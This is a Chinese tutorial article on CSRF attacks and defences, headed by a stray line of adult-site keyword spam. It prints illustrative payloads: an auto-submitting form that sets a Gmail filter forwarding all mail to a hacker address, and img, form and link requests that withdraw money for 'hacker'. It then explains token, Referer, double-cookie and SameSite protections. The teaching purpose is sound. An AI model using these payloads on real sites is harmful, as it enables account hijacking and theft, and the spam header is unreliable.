成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

前端安全保障之如何防止CSRF攻擊?

存儲(chǔ)
隨著互聯(lián)網(wǎng)的高速發(fā)展,信息安全問題已經(jīng)成為企業(yè)最為關(guān)注的焦點(diǎn)之一,而前端又是引發(fā)企業(yè)安全問題的高危據(jù)點(diǎn)。在移動(dòng)互聯(lián)網(wǎng)時(shí)代,前端人員除了傳統(tǒng)的 XSS、CSRF 等安全問題之外,又時(shí)常遭遇網(wǎng)絡(luò)劫持、非法調(diào)用 Hybrid API 等新型安全問題。

[[245963]]

背景

隨著互聯(lián)網(wǎng)的高速發(fā)展,信息安全問題已經(jīng)成為企業(yè)最為關(guān)注的焦點(diǎn)之一,而前端又是引發(fā)企業(yè)安全問題的高危據(jù)點(diǎn)。在移動(dòng)互聯(lián)網(wǎng)時(shí)代,前端人員除了傳統(tǒng)的 XSS、CSRF 等安全問題之外,又時(shí)常遭遇網(wǎng)絡(luò)劫持、非法調(diào)用 Hybrid API 等新型安全問題。當(dāng)然,瀏覽器自身也在不斷在進(jìn)化和發(fā)展,不斷引入 CSP、Same-Site Cookies 等新技術(shù)來增強(qiáng)安全性,但是仍存在很多潛在的威脅,這需要前端技術(shù)人員不斷進(jìn)行“查漏補(bǔ)缺”。

前端安全

近幾年,美團(tuán)業(yè)務(wù)高速發(fā)展,前端隨之面臨很多安全挑戰(zhàn),因此積累了大量的實(shí)踐經(jīng)驗(yàn)。我們梳理了常見的前端安全問題以及對應(yīng)的解決方案,將會(huì)做成一個(gè)系列,希望可以幫助前端同學(xué)在日常開發(fā)中不斷預(yù)防和修復(fù)安全漏洞。本文是該系列的第二篇。

今天我們講解一下 CSRF,其實(shí)相比XSS,CSRF的名氣似乎并不是那么大,很多人都認(rèn)為“CSRF不具備那么大的破壞性”。真的是這樣嗎?接下來,我們還是有請小明同學(xué)再次“閃亮”登場。

CSRF攻擊

CSRF漏洞的發(fā)生

相比XSS,CSRF的名氣似乎并不是那么大,很多人都認(rèn)為CSRF“不那么有破壞性”。真的是這樣嗎?

接下來有請小明出場~~

小明的悲慘遭遇

這一天,小明同學(xué)百無聊賴地刷著Gmail郵件。大部分都是沒營養(yǎng)的通知、驗(yàn)證碼、聊天記錄之類。但有一封郵件引起了小明的注意:

甩賣比特幣,一個(gè)只要998!!

聰明的小明當(dāng)然知道這種肯定是騙子,但還是抱著好奇的態(tài)度點(diǎn)了進(jìn)去(請勿模仿)。果然,這只是一個(gè)什么都沒有的空白頁面,小明失望的關(guān)閉了頁面。一切似乎什么都沒有發(fā)生......

在這平靜的外表之下,黑客的攻擊已然得手。小明的Gmail中,被偷偷設(shè)置了一個(gè)過濾規(guī)則,這個(gè)規(guī)則使得所有的郵件都會(huì)被自動(dòng)轉(zhuǎn)發(fā)到haker@hackermail.com。小明還在繼續(xù)刷著郵件,殊不知他的郵件正在一封封地,如脫韁的野馬一般地,持續(xù)不斷地向著黑客的郵箱轉(zhuǎn)發(fā)而去。

不久之后的一天,小明發(fā)現(xiàn)自己的域名已經(jīng)被轉(zhuǎn)讓了。懵懂的小明以為是域名到期自己忘了續(xù)費(fèi),直到有一天,對方開出了 $650 的贖回價(jià)碼,小明才開始覺得不太對勁。

小明仔細(xì)查了下域名的轉(zhuǎn)讓,對方是擁有自己的驗(yàn)證碼的,而域名的驗(yàn)證碼只存在于自己的郵箱里面。小明回想起那天奇怪的鏈接,打開后重新查看了“空白頁”的源碼: 

  1. <form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data">  
  2.     <input type="hidden" name="cf2_emc" value="true"/>  
  3.     <input type="hidden" name="cf2_email" value="hacker@hakermail.com"/>  
  4.     ..... 
  5.     <input type="hidden" name="irf" value="on"/>  
  6.     <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/>  
  7. </form>  
  8. <script>  
  9.     document.forms[0].submit(); 
  10. </script>   

這個(gè)頁面只要打開,就會(huì)向Gmail發(fā)送一個(gè)post請求。請求中,執(zhí)行了“Create Filter”命令,將所有的郵件,轉(zhuǎn)發(fā)到“hacker@hakermail.com”。

小明由于剛剛就登陸了Gmail,所以這個(gè)請求發(fā)送時(shí),攜帶著小明的登錄憑證(Cookie),Gmail的后臺(tái)接收到請求,驗(yàn)證了確實(shí)有小明的登錄憑證,于是成功給小明配置了過濾器。

黑客可以查看小明的所有郵件,包括郵件里的域名驗(yàn)證碼等隱私信息。拿到驗(yàn)證碼之后,黑客就可以要求域名服務(wù)商把域名重置給自己。

小明很快打開Gmail,找到了那條過濾器,將其刪除。然而,已經(jīng)泄露的郵件,已經(jīng)被轉(zhuǎn)讓的域名,再也無法挽回了......

以上就是小明的悲慘遭遇。而“點(diǎn)開一個(gè)黑客的鏈接,所有郵件都被竊取”這種事情并不是杜撰的,此事件原型是2007年Gmail的CSRF漏洞:

https://www.davidairey.com/google-Gmail-security-hijack/

當(dāng)然,目前此漏洞已被Gmail修復(fù),請使用Gmail的同學(xué)不要慌張。

什么是CSRF

CSRF(Cross-site request forgery)跨站請求偽造:攻擊者誘導(dǎo)受害者進(jìn)入第三方網(wǎng)站,在第三方網(wǎng)站中,向被攻擊網(wǎng)站發(fā)送跨站請求。利用受害者在被攻擊網(wǎng)站已經(jīng)獲取的注冊憑證,繞過后臺(tái)的用戶驗(yàn)證,達(dá)到冒充用戶對被攻擊的網(wǎng)站執(zhí)行某項(xiàng)操作的目的。

一個(gè)典型的CSRF攻擊有著如下的流程:

  • 受害者登錄a.com,并保留了登錄憑證(Cookie)。
  • 攻擊者引誘受害者訪問了b.com。
  • b.com 向 a.com 發(fā)送了一個(gè)請求:a.com/act=xx。瀏覽器會(huì)默認(rèn)攜帶a.com的Cookie。
  • a.com接收到請求后,對請求進(jìn)行驗(yàn)證,并確認(rèn)是受害者的憑證,誤以為是受害者自己發(fā)送的請求。
  • a.com以受害者的名義執(zhí)行了act=xx。
  • 攻擊完成,攻擊者在受害者不知情的情況下,冒充受害者,讓a.com執(zhí)行了自己定義的操作。

幾種常見的攻擊類型

  • GET類型的CSRF

GET類型的CSRF利用非常簡單,只需要一個(gè)HTTP請求,一般會(huì)這樣利用:

  1. <img src="http://bank.example/withdraw?amount=10000&for=hacker" > 

在受害者訪問含有這個(gè)img的頁面后,瀏覽器會(huì)自動(dòng)向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker發(fā)出一次HTTP請求。bank.example就會(huì)收到包含受害者登錄信息的一次跨域請求。

  • POST類型的CSRF

這種類型的CSRF利用起來通常使用的是一個(gè)自動(dòng)提交的表單,如:

  1. <form action="http://bank.example/withdraw" method=POST> 
  2.     <input type="hidden" name="account" value="xiaoming" /> 
  3.     <input type="hidden" name="amount" value="10000" /> 
  4.     <input type="hidden" name="for" value="hacker" /> 
  5. </form> 
  6. <script> document.forms[0].submit(); </script>    

訪問該頁面后,表單會(huì)自動(dòng)提交,相當(dāng)于模擬用戶完成了一次POST操作。

POST類型的攻擊通常比GET要求更加嚴(yán)格一點(diǎn),但仍并不復(fù)雜。任何個(gè)人網(wǎng)站、博客,被黑客上傳頁面的網(wǎng)站都有可能是發(fā)起攻擊的來源,后端接口不能將安全寄托在僅允許POST上面。

  • 鏈接類型的CSRF

鏈接類型的CSRF并不常見,比起其他兩種用戶打開頁面就中招的情況,這種需要用戶點(diǎn)擊鏈接才會(huì)觸發(fā)。這種類型通常是在論壇中發(fā)布的圖片中嵌入惡意鏈接,或者以廣告的形式誘導(dǎo)用戶中招,攻擊者通常會(huì)以比較夸張的詞語誘騙用戶點(diǎn)擊,例如:

  1. <a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank"
  2.   重磅消息!! 
  3.   <a/>   

由于之前用戶登錄了信任的網(wǎng)站A,并且保存登錄狀態(tài),只要用戶主動(dòng)訪問上面的這個(gè)PHP頁面,則表示攻擊成功。 

CSRF的特點(diǎn)

  • 攻擊一般發(fā)起在第三方網(wǎng)站,而不是被攻擊的網(wǎng)站。被攻擊的網(wǎng)站無法防止攻擊發(fā)生。
  • 攻擊利用受害者在被攻擊網(wǎng)站的登錄憑證,冒充受害者提交操作;而不是直接竊取數(shù)據(jù)。
  • 整個(gè)過程攻擊者并不能獲取到受害者的登錄憑證,僅僅是“冒用”。
  • 跨站請求可以用各種方式:圖片URL、超鏈接、CORS、Form提交等等。部分請求方式可以直接嵌入在第三方論壇、文章中,難以進(jìn)行追蹤。 

CSRF通常是跨域的,因?yàn)橥庥蛲ǔ8菀妆还粽哒瓶亍5侨绻居蛳掠腥菀妆焕玫墓δ埽热缈梢园l(fā)圖和鏈接的論壇和評論區(qū),攻擊可以直接在本域下進(jìn)行,而且這種攻擊更加危險(xiǎn)。 

防護(hù)策略 

CSRF通常從第三方網(wǎng)站發(fā)起,被攻擊的網(wǎng)站無法防止攻擊發(fā)生,只能通過增強(qiáng)自己網(wǎng)站針對CSRF的防護(hù)能力來提升安全性。 

上文中講了CSRF的兩個(gè)特點(diǎn): 

  • CSRF(通常)發(fā)生在第三方域名。
  • CSRF攻擊者不能獲取到Cookie等信息,只是使用。 

針對這兩點(diǎn),我們可以專門制定防護(hù)策略,如下:

  • 阻止不明外域的訪問
    • 同源檢測
    • Samesite Cookie
  • 提交時(shí)要求附加本域才能獲取的信息
    • CSRF Token
    • 雙重Cookie驗(yàn)證

以下我們對各種防護(hù)方法做詳細(xì)說明:

同源檢測

既然CSRF大多來自第三方網(wǎng)站,那么我們就直接禁止外域(或者不受信任的域名)對我們發(fā)起請求。

那么問題來了,我們?nèi)绾闻袛嗾埱笫欠駚碜酝庥蚰?

在HTTP協(xié)議中,每一個(gè)異步請求都會(huì)攜帶兩個(gè)Header,用于標(biāo)記來源域名:

  • Origin Header
  • Referer Header

這兩個(gè)Header在瀏覽器發(fā)起請求時(shí),大多數(shù)情況會(huì)自動(dòng)帶上,并且不能由前端自定義內(nèi)容。

服務(wù)器可以通過解析這兩個(gè)Header中的域名,確定請求的來源域。

使用Origin Header確定來源域名

在部分與CSRF有關(guān)的請求中,請求的Header中會(huì)攜帶Origin字段。字段內(nèi)包含請求的域名(不包含path及query)。

如果Origin存在,那么直接使用Origin中的字段確認(rèn)來源域名就可以。

但是Origin在以下兩種情況下并不存在:

  • IE11同源策略: IE 11 不會(huì)在跨站CORS請求上添加Origin標(biāo)頭,Referer頭將仍然是唯一的標(biāo)識。最根本原因是因?yàn)镮E 11對同源的定義和其他瀏覽器有不同,有兩個(gè)主要的區(qū)別,可以參考MDN Same-origin_policy#IE_Exceptions
  • 302重定向: 在302重定向之后Origin不包含在重定向的請求中,因?yàn)镺rigin可能會(huì)被認(rèn)為是其他來源的敏感信息。對于302重定向的情況來說都是定向到新的服務(wù)器上的URL,因此瀏覽器不想將Origin泄漏到新的服務(wù)器上。

使用Referer Header確定來源域名

根據(jù)HTTP協(xié)議,在HTTP頭中有一個(gè)字段叫Referer,記錄了該HTTP請求的來源地址。

對于Ajax請求,圖片和script等資源請求,Referer為發(fā)起請求的頁面地址。對于頁面跳轉(zhuǎn),Referer為打開頁面歷史記錄的前一個(gè)頁面地址。因此我們使用Referer中鏈接的Origin部分可以得知請求的來源域名。

這種方法并非萬無一失,Referer的值是由瀏覽器提供的,雖然HTTP協(xié)議上有明確的要求,但是每個(gè)瀏覽器對于Referer的具體實(shí)現(xiàn)可能有差別,并不能保證瀏覽器自身沒有安全漏洞。使用驗(yàn)證 Referer 值的方法,就是把安全性都依賴于第三方(即瀏覽器)來保障,從理論上來講,這樣并不是很安全。在部分情況下,攻擊者可以隱藏,甚至修改自己請求的Referer。

2014年,W3C的Web應(yīng)用安全工作組發(fā)布了Referrer Policy草案,對瀏覽器該如何發(fā)送Referer做了詳細(xì)的規(guī)定。截止現(xiàn)在新版瀏覽器大部分已經(jīng)支持了這份草案,我們終于可以靈活地控制自己網(wǎng)站的Referer策略了。新版的Referrer Policy規(guī)定了五種Referer策略:No Referrer、No Referrer When Downgrade、Origin Only、Origin When Cross-origin、和 Unsafe URL。之前就存在的三種策略:never、default和always,在新標(biāo)準(zhǔn)里換了個(gè)名稱。他們的對應(yīng)關(guān)系如下:

策略名稱 屬性值(新) 屬性值(舊)
No Referrer no-Referrer never
No Referrer When Downgrade no-Referrer-when-downgrade default
Origin Only (same or strict) origin origin
Origin When Cross Origin (strict) origin-when-crossorigin -
Unsafe URL unsafe-url always

根據(jù)上面的表格因此需要把Referrer Policy的策略設(shè)置成same-origin,對于同源的鏈接和引用,會(huì)發(fā)送Referer,referer值為Host不帶Path;跨域訪問則不攜帶Referer。例如:aaa.com引用bbb.com的資源,不會(huì)發(fā)送Referer。

設(shè)置Referrer Policy的方法有三種:

  1. 在CSP設(shè)置
  2. 頁面頭部增加meta標(biāo)簽
  3. a標(biāo)簽增加referrerpolicy屬性

上面說的這些比較多,但我們可以知道一個(gè)問題:攻擊者可以在自己的請求中隱藏Referer。如果攻擊者將自己的請求這樣填寫: 

  1. <img src="http://bank.example/withdraw?amount=10000&for=hacker" referrerpolicy="no-referrer"

那么這個(gè)請求發(fā)起的攻擊將不攜帶Referer。

另外在以下情況下Referer沒有或者不可信:

  1. IE6、7下使用window.location.href=url進(jìn)行界面的跳轉(zhuǎn),會(huì)丟失Referer。
  2. IE6、7下使用window.open,也會(huì)缺失Referer。
  3. HTTPS頁面跳轉(zhuǎn)到HTTP頁面,所有瀏覽器Referer都丟失。
  4. 點(diǎn)擊Flash上到達(dá)另外一個(gè)網(wǎng)站的時(shí)候,Referer的情況就比較雜亂,不太可信。

無法確認(rèn)來源域名情況

當(dāng)Origin和Referer頭文件不存在時(shí)該怎么辦?如果Origin和Referer都不存在,建議直接進(jìn)行阻止,特別是如果您沒有使用隨機(jī)CSRF Token(參考下方)作為第二次檢查。

如何阻止外域請求

通過Header的驗(yàn)證,我們可以知道發(fā)起請求的來源域名,這些來源域名可能是網(wǎng)站本域,或者子域名,或者有授權(quán)的第三方域名,又或者來自不可信的未知域名。

我們已經(jīng)知道了請求域名是否是來自不可信的域名,我們直接阻止掉這些的請求,就能防御CSRF攻擊了嗎?

且慢!當(dāng)一個(gè)請求是頁面請求(比如網(wǎng)站的主頁),而來源是搜索引擎的鏈接(例如百度的搜索結(jié)果),也會(huì)被當(dāng)成疑似CSRF攻擊。所以在判斷的時(shí)候需要過濾掉頁面請求情況,通常Header符合以下情況: 

  1. Accept: text/html 
  2. Method: GET 

但相應(yīng)的,頁面請求就暴露在了CSRF的攻擊范圍之中。如果你的網(wǎng)站中,在頁面的GET請求中對當(dāng)前用戶做了什么操作的話,防范就失效了。

例如,下面的頁面請求: 

  1. GET https://example.com/addComment?comment=XXX&dest=orderId 

注:這種嚴(yán)格來說并不一定存在CSRF攻擊的風(fēng)險(xiǎn),但仍然有很多網(wǎng)站經(jīng)常把主文檔GET請求掛上參數(shù)來實(shí)現(xiàn)產(chǎn)品功能,但是這樣做對于自身來說是存在安全風(fēng)險(xiǎn)的。

另外,前面說過,CSRF大多數(shù)情況下來自第三方域名,但并不能排除本域發(fā)起。如果攻擊者有權(quán)限在本域發(fā)布評論(含鏈接、圖片等,統(tǒng)稱UGC),那么它可以直接在本域發(fā)起攻擊,這種情況下同源策略無法達(dá)到防護(hù)的作用。

綜上所述:同源驗(yàn)證是一個(gè)相對簡單的防范方法,能夠防范絕大多數(shù)的CSRF攻擊。但這并不是萬無一失的,對于安全性要求較高,或者有較多用戶輸入內(nèi)容的網(wǎng)站,我們就要對關(guān)鍵的接口做額外的防護(hù)措施。

CSRF Token

前面講到CSRF的另一個(gè)特征是,攻擊者無法直接竊取到用戶的信息(Cookie,Header,網(wǎng)站內(nèi)容等),僅僅是冒用Cookie中的信息。

而CSRF攻擊之所以能夠成功,是因?yàn)榉?wù)器誤把攻擊者發(fā)送的請求當(dāng)成了用戶自己的請求。那么我們可以要求所有的用戶請求都攜帶一個(gè)CSRF攻擊者無法獲取到的Token。服務(wù)器通過校驗(yàn)請求是否攜帶正確的Token,來把正常的請求和攻擊的請求區(qū)分開,也可以防范CSRF的攻擊。

原理

CSRF Token的防護(hù)策略分為三個(gè)步驟:

1.將CSRF Token輸出到頁面中

首先,用戶打開頁面的時(shí)候,服務(wù)器需要給這個(gè)用戶生成一個(gè)Token,該Token通過加密算法對數(shù)據(jù)進(jìn)行加密,一般Token都包括隨機(jī)字符串和時(shí)間戳的組合,顯然在提交時(shí)Token不能再放在Cookie中了,否則又會(huì)被攻擊者冒用。因此,為了安全起見Token最好還是存在服務(wù)器的Session中,之后在每次頁面加載時(shí),使用JS遍歷整個(gè)DOM樹,對于DOM中所有的a和form標(biāo)簽后加入Token。這樣可以解決大部分的請求,但是對于在頁面加載之后動(dòng)態(tài)生成的HTML代碼,這種方法就沒有作用,還需要程序員在編碼時(shí)手動(dòng)添加Token。

2.頁面提交的請求攜帶這個(gè)Token

對于GET請求,Token將附在請求地址之后,這樣URL 就變成 http://url?csrftoken=tokenvalue。 而對于 POST 請求來說,要在 form 的最后加上:

  1. <input type=”hidden” name=”csrftoken” value=”tokenvalue”/> 

這樣,就把Token以參數(shù)的形式加入請求了。

3.服務(wù)器驗(yàn)證Token是否正確

當(dāng)用戶從客戶端得到了Token,再次提交給服務(wù)器的時(shí)候,服務(wù)器需要判斷Token的有效性,驗(yàn)證過程是先解密Token,對比加密字符串以及時(shí)間戳,如果加密字符串一致且時(shí)間未過期,那么這個(gè)Token就是有效的。

這種方法要比之前檢查Referer或者Origin要安全一些,Token可以在產(chǎn)生并放于Session之中,然后在每次請求時(shí)把Token從Session中拿出,與請求中的Token進(jìn)行比對,但這種方法的比較麻煩的在于如何把Token以參數(shù)的形式加入請求。

下面將以Java為例,介紹一些CSRF Token的服務(wù)端校驗(yàn)邏輯,代碼如下: 

  1. HttpServletRequest req = (HttpServletRequest)request;  
  2. HttpSession s = req.getSession();  
  3.   
  4. // 從 session 中得到 csrftoken 屬性 
  5. String sToken = (String)s.getAttribute(“csrftoken”);  
  6. if(sToken == null){  
  7.    // 產(chǎn)生新的 token 放入 session 中 
  8.    sToken = generateToken();  
  9.    s.setAttribute(“csrftoken”,sToken);  
  10.    chain.doFilter(request, response);  
  11. else{  
  12.    // 從 HTTP 頭中取得 csrftoken  
  13.    String xhrToken = req.getHeader(“csrftoken”);  
  14.    // 從請求參數(shù)中取得 csrftoken  
  15.    String pToken = req.getParameter(“csrftoken”);  
  16.    if(sToken != null && xhrToken != null && sToken.equals(xhrToken)){  
  17.        chain.doFilter(request, response);  
  18.    }else if(sToken != null && pToken != null && sToken.equals(pToken)){  
  19.        chain.doFilter(request, response);  
  20.    }else{  
  21.        request.getRequestDispatcher(“error.jsp”).forward(request,response);  
  22.    }  

 

 

 

 

 

代碼源自IBM developerworks CSRF

這個(gè)Token的值必須是隨機(jī)生成的,這樣它就不會(huì)被攻擊者猜到,考慮利用Java應(yīng)用程序的java.security.SecureRandom類來生成足夠長的隨機(jī)標(biāo)記,替代生成算法包括使用256位BASE64編碼哈希,選擇這種生成算法的開發(fā)人員必須確保在散列數(shù)據(jù)中使用隨機(jī)性和唯一性來生成隨機(jī)標(biāo)識。通常,開發(fā)人員只需為當(dāng)前會(huì)話生成一次Token。在初始生成此Token之后,該值將存儲(chǔ)在會(huì)話中,并用于每個(gè)后續(xù)請求,直到會(huì)話過期。當(dāng)最終用戶發(fā)出請求時(shí),服務(wù)器端必須驗(yàn)證請求中Token的存在性和有效性,與會(huì)話中找到的Token相比較。如果在請求中找不到Token,或者提供的值與會(huì)話中的值不匹配,則應(yīng)中止請求,應(yīng)重置Token并將事件記錄為正在進(jìn)行的潛在CSRF攻擊。

分布式校驗(yàn)

在大型網(wǎng)站中,使用Session存儲(chǔ)CSRF Token會(huì)帶來很大的壓力。訪問單臺(tái)服務(wù)器session是同一個(gè)。但是現(xiàn)在的大型網(wǎng)站中,我們的服務(wù)器通常不止一臺(tái),可能是幾十臺(tái)甚至幾百臺(tái)之多,甚至多個(gè)機(jī)房都可能在不同的省份,用戶發(fā)起的HTTP請求通常要經(jīng)過像Ngnix之類的負(fù)載均衡器之后,再路由到具體的服務(wù)器上,由于Session默認(rèn)存儲(chǔ)在單機(jī)服務(wù)器內(nèi)存中,因此在分布式環(huán)境下同一個(gè)用戶發(fā)送的多次HTTP請求可能會(huì)先后落到不同的服務(wù)器上,導(dǎo)致后面發(fā)起的HTTP請求無法拿到之前的HTTP請求存儲(chǔ)在服務(wù)器中的Session數(shù)據(jù),從而使得Session機(jī)制在分布式環(huán)境下失效,因此在分布式集群中CSRF Token需要存儲(chǔ)在Redis之類的公共存儲(chǔ)空間。

由于使用Session存儲(chǔ),讀取和驗(yàn)證CSRF Token會(huì)引起比較大的復(fù)雜度和性能問題,目前很多網(wǎng)站采用Encrypted Token Pattern方式。這種方法的Token是一個(gè)計(jì)算出來的結(jié)果,而非隨機(jī)生成的字符串。這樣在校驗(yàn)時(shí)無需再去讀取存儲(chǔ)的Token,只用再次計(jì)算一次即可。

這種Token的值通常是使用UserID、時(shí)間戳和隨機(jī)數(shù),通過加密的方法生成。這樣既可以保證分布式服務(wù)的Token一致,又能保證Token不容易被破解。

在token解密成功之后,服務(wù)器可以訪問解析值,Token中包含的UserID和時(shí)間戳將會(huì)被拿來被驗(yàn)證有效性,將UserID與當(dāng)前登錄的UserID進(jìn)行比較,并將時(shí)間戳與當(dāng)前時(shí)間進(jìn)行比較。

總結(jié)

Token是一個(gè)比較有效的CSRF防護(hù)方法,只要頁面沒有XSS漏洞泄露Token,那么接口的CSRF攻擊就無法成功。

但是此方法的實(shí)現(xiàn)比較復(fù)雜,需要給每一個(gè)頁面都寫入Token(前端無法使用純靜態(tài)頁面),每一個(gè)Form及Ajax請求都攜帶這個(gè)Token,后端對每一個(gè)接口都進(jìn)行校驗(yàn),并保證頁面Token及請求Token一致。這就使得這個(gè)防護(hù)策略不能在通用的攔截上統(tǒng)一攔截處理,而需要每一個(gè)頁面和接口都添加對應(yīng)的輸出和校驗(yàn)。這種方法工作量巨大,且有可能遺漏。

驗(yàn)證碼和密碼其實(shí)也可以起到CSRF Token的作用哦,而且更安全。

為什么很多銀行等網(wǎng)站會(huì)要求已經(jīng)登錄的用戶在轉(zhuǎn)賬時(shí)再次輸入密碼,現(xiàn)在是不是有一定道理了?

雙重Cookie驗(yàn)證

在會(huì)話中存儲(chǔ)CSRF Token比較繁瑣,而且不能在通用的攔截上統(tǒng)一處理所有的接口。

那么另一種防御措施是使用雙重提交Cookie。利用CSRF攻擊不能獲取到用戶Cookie的特點(diǎn),我們可以要求Ajax和表單請求攜帶一個(gè)Cookie中的值。

雙重Cookie采用以下流程:

  • 在用戶訪問網(wǎng)站頁面時(shí),向請求域名注入一個(gè)Cookie,內(nèi)容為隨機(jī)字符串(例如csrfcookie=v8g9e4ksfhw)。
  • 在前端向后端發(fā)起請求時(shí),取出Cookie,并添加到URL的參數(shù)中(接上例POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw)。
  • 后端接口驗(yàn)證Cookie中的字段與URL參數(shù)中的字段是否一致,不一致則拒絕。

此方法相對于CSRF Token就簡單了許多。可以直接通過前后端攔截的的方法自動(dòng)化實(shí)現(xiàn)。后端校驗(yàn)也更加方便,只需進(jìn)行請求中字段的對比,而不需要再進(jìn)行查詢和存儲(chǔ)Token。

當(dāng)然,此方法并沒有大規(guī)模應(yīng)用,其在大型網(wǎng)站上的安全性還是沒有CSRF Token高,原因我們舉例進(jìn)行說明。

由于任何跨域都會(huì)導(dǎo)致前端無法獲取Cookie中的字段(包括子域名之間),于是發(fā)生了如下情況:

  • 如果用戶訪問的網(wǎng)站為www.a.com,而后端的api域名為api.a.com。那么在www.a.com下,前端拿不到api.a.com的Cookie,也就無法完成雙重Cookie認(rèn)證。
  • 于是這個(gè)認(rèn)證Cookie必須被種在a.com下,這樣每個(gè)子域都可以訪問。
  • 任何一個(gè)子域都可以修改a.com下的Cookie。
  • 某個(gè)子域名存在漏洞被XSS攻擊(例如upload.a.com)。雖然這個(gè)子域下并沒有什么值得竊取的信息。但攻擊者修改了a.com下的Cookie。
  • 攻擊者可以直接使用自己配置的Cookie,對XSS中招的用戶再向www.a.com下,發(fā)起CSRF攻擊。

總結(jié)

用雙重Cookie防御CSRF的優(yōu)點(diǎn):

  • 無需使用Session,適用面更廣,易于實(shí)施。
  • Token儲(chǔ)存于客戶端中,不會(huì)給服務(wù)器帶來壓力。
  • 相對于Token,實(shí)施成本更低,可以在前后端統(tǒng)一攔截校驗(yàn),而不需要一個(gè)個(gè)接口和頁面添加。

缺點(diǎn):

  • Cookie中增加了額外的字段。
  • 如果有其他漏洞(例如XSS),攻擊者可以注入Cookie,那么該防御方式失效。
  • 難以做到子域名的隔離。
  • 為了確保Cookie傳輸安全,采用這種防御方式的最好確保用整站HTTPS的方式,如果還沒切HTTPS的使用這種方式也會(huì)有風(fēng)險(xiǎn)。

Samesite Cookie屬性

防止CSRF攻擊的辦法已經(jīng)有上面的預(yù)防措施。為了從源頭上解決這個(gè)問題,Google起草了一份草案來改進(jìn)HTTP協(xié)議,那就是為Set-Cookie響應(yīng)頭新增Samesite屬性,它用來標(biāo)明這個(gè) Cookie是個(gè)“同站 Cookie”,同站Cookie只能作為第一方Cookie,不能作為第三方Cookie,Samesite 有兩個(gè)屬性值,分別是 Strict 和 Lax,下面分別講解:

Samesite=Strict

這種稱為嚴(yán)格模式,表明這個(gè) Cookie 在任何情況下都不可能作為第三方 Cookie,絕無例外。比如說 b.com 設(shè)置了如下 Cookie: 

  1. Set-Cookie: foo=1; Samesite=Strict 
  2. Set-Cookie: bar=2; Samesite=Lax 
  3. Set-Cookie: baz=3 

我們在 a.com 下發(fā)起對 b.com 的任意請求,foo 這個(gè) Cookie 都不會(huì)被包含在 Cookie 請求頭中,但 bar 會(huì)。舉個(gè)實(shí)際的例子就是,假如淘寶網(wǎng)站用來識別用戶登錄與否的 Cookie 被設(shè)置成了 Samesite=Strict,那么用戶從百度搜索頁面甚至天貓頁面的鏈接點(diǎn)擊進(jìn)入淘寶后,淘寶都不會(huì)是登錄狀態(tài),因?yàn)樘詫毜姆?wù)器不會(huì)接受到那個(gè) Cookie,其它網(wǎng)站發(fā)起的對淘寶的任意請求都不會(huì)帶上那個(gè) Cookie。

Samesite=Lax

這種稱為寬松模式,比 Strict 放寬了點(diǎn)限制:假如這個(gè)請求是這種請求(改變了當(dāng)前頁面或者打開了新頁面)且同時(shí)是個(gè)GET請求,則這個(gè)Cookie可以作為第三方Cookie。比如說 b.com設(shè)置了如下Cookie: 

  1. Set-Cookie: foo=1; Samesite=Strict 
  2. Set-Cookie: bar=2; Samesite=Lax 
  3. Set-Cookie: baz=3 

當(dāng)用戶從 a.com 點(diǎn)擊鏈接進(jìn)入 b.com 時(shí),foo 這個(gè) Cookie 不會(huì)被包含在 Cookie 請求頭中,但 bar 和 baz 會(huì),也就是說用戶在不同網(wǎng)站之間通過鏈接跳轉(zhuǎn)是不受影響了。但假如這個(gè)請求是從 a.com 發(fā)起的對 b.com 的異步請求,或者頁面跳轉(zhuǎn)是通過表單的 post 提交觸發(fā)的,則bar也不會(huì)發(fā)送。

生成Token放到Cookie中并且設(shè)置Cookie的Samesite,Java代碼如下: 

  1. private void addTokenCookieAndHeader(HttpServletRequest httpRequest, HttpServletResponse httpResponse) { 
  2.         //生成token 
  3.         String sToken = this.generateToken(); 
  4.         //手動(dòng)添加Cookie實(shí)現(xiàn)支持“Samesite=strict” 
  5.         //Cookie添加雙重驗(yàn)證 
  6.         String CookieSpec = String.format("%s=%s; Path=%s; HttpOnly; Samesite=Strict", this.determineCookieName(httpRequest), sToken, httpRequest.getRequestURI()); 
  7.         httpResponse.addHeader("Set-Cookie", CookieSpec); 
  8.         httpResponse.setHeader(CSRF_TOKEN_NAME, token); 
  9.     } 

代碼源自O(shè)WASP Cross-Site_Request_Forgery #Implementation example

我們應(yīng)該如何使用SamesiteCookie

如果SamesiteCookie被設(shè)置為Strict,瀏覽器在任何跨域請求中都不會(huì)攜帶Cookie,新標(biāo)簽重新打開也不攜帶,所以說CSRF攻擊基本沒有機(jī)會(huì)。

但是跳轉(zhuǎn)子域名或者是新標(biāo)簽重新打開剛登陸的網(wǎng)站,之前的Cookie都不會(huì)存在。尤其是有登錄的網(wǎng)站,那么我們新打開一個(gè)標(biāo)簽進(jìn)入,或者跳轉(zhuǎn)到子域名的網(wǎng)站,都需要重新登錄。對于用戶來講,可能體驗(yàn)不會(huì)很好。

如果SamesiteCookie被設(shè)置為Lax,那么其他網(wǎng)站通過頁面跳轉(zhuǎn)過來的時(shí)候可以使用Cookie,可以保障外域連接打開頁面時(shí)用戶的登錄狀態(tài)。但相應(yīng)的,其安全性也比較低。

另外一個(gè)問題是Samesite的兼容性不是很好,現(xiàn)階段除了從新版Chrome和Firefox支持以外,Safari以及iOS Safari都還不支持,現(xiàn)階段看來暫時(shí)還不能普及。

而且,SamesiteCookie目前有一個(gè)致命的缺陷:不支持子域。例如,種在topic.a.com下的Cookie,并不能使用a.com下種植的SamesiteCookie。這就導(dǎo)致了當(dāng)我們網(wǎng)站有多個(gè)子域名時(shí),不能使用SamesiteCookie在主域名存儲(chǔ)用戶登錄信息。每個(gè)子域名都需要用戶重新登錄一次。

總之,SamesiteCookie是一個(gè)可能替代同源驗(yàn)證的方案,但目前還并不成熟,其應(yīng)用場景有待觀望。

防止網(wǎng)站被利用

前面所說的,都是被攻擊的網(wǎng)站如何做好防護(hù)。而非防止攻擊的發(fā)生,CSRF的攻擊可以來自:

  • 攻擊者自己的網(wǎng)站。
  • 有文件上傳漏洞的網(wǎng)站。
  • 第三方論壇等用戶內(nèi)容。
  • 被攻擊網(wǎng)站自己的評論功能等。
